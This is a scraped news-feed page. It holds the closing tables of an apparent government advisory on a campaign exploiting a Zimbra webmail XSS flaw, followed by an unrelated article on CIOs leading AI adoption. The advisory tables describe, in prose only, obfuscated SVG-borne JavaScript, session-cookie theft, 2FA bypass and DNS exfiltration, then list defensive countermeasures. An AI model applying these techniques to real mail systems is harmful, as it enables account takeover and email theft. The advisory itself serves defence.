<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI success requires a full-stack CIO]]></title>
<description><![CDATA[Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?



It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tool...]]></description>
<link>https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?</p>



<p class="wp-block-paragraph">It’s an understandable concern. <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">Boards and CEOs are asking about AI</a>. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.</p>



<p class="wp-block-paragraph">After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.</p>



<p class="wp-block-paragraph">Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.</p>



<p class="wp-block-paragraph">I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, <a href="https://www.cio.com/article/272180/relationship-building-networking-how-to-wow-your-board-of-directors.html">influence a board</a>, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.</p>



<p class="wp-block-paragraph">Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.</p>



<p class="wp-block-paragraph">While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.</p>



<p class="wp-block-paragraph">That versatility gives Talasaz a unique lens on how CIOs <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">can deliver value with AI</a>.</p>



<p class="wp-block-paragraph">Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.</p>



<h2 class="wp-block-heading">The full-stack CIO: Leading with clarity</h2>



<p class="wp-block-paragraph">A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.</p>



<p class="wp-block-paragraph">The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.</p>



<p class="wp-block-paragraph">And those who execute best lead with clarity, Talasaz says.</p>



<p class="wp-block-paragraph">“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”</p>



<p class="wp-block-paragraph">One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.</p>



<p class="wp-block-paragraph">As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.</p>



<p class="wp-block-paragraph">And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.</p>



<p class="wp-block-paragraph">“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”</p>



<p class="wp-block-paragraph">At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.</p>



<h2 class="wp-block-heading">Reducing organizational friction</h2>



<p class="wp-block-paragraph">Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”</p>



<p class="wp-block-paragraph">Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?</p>



<p class="wp-block-paragraph">Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.</p>



<p class="wp-block-paragraph">AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.</p>



<h1 class="wp-block-heading">Operating model as strategy enabler</h1>



<p class="wp-block-paragraph">AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.</p>



<p class="wp-block-paragraph">Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.</p>



<p class="wp-block-paragraph">“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.</p>



<p class="wp-block-paragraph">The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.</p>



<p class="wp-block-paragraph">This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.</p>



<p class="wp-block-paragraph">Talasaz points out that technology leaders tend to speak in terms of <em>transformation</em>. He suggests CIOs consider a different word: <em>reinvention.</em></p>



<p class="wp-block-paragraph">As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.</p>



<p class="wp-block-paragraph">Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.</p>



<h2 class="wp-block-heading">Closing the gap between strategy and execution</h2>



<p class="wp-block-paragraph">Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”</p>



<p class="wp-block-paragraph">As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”</p>



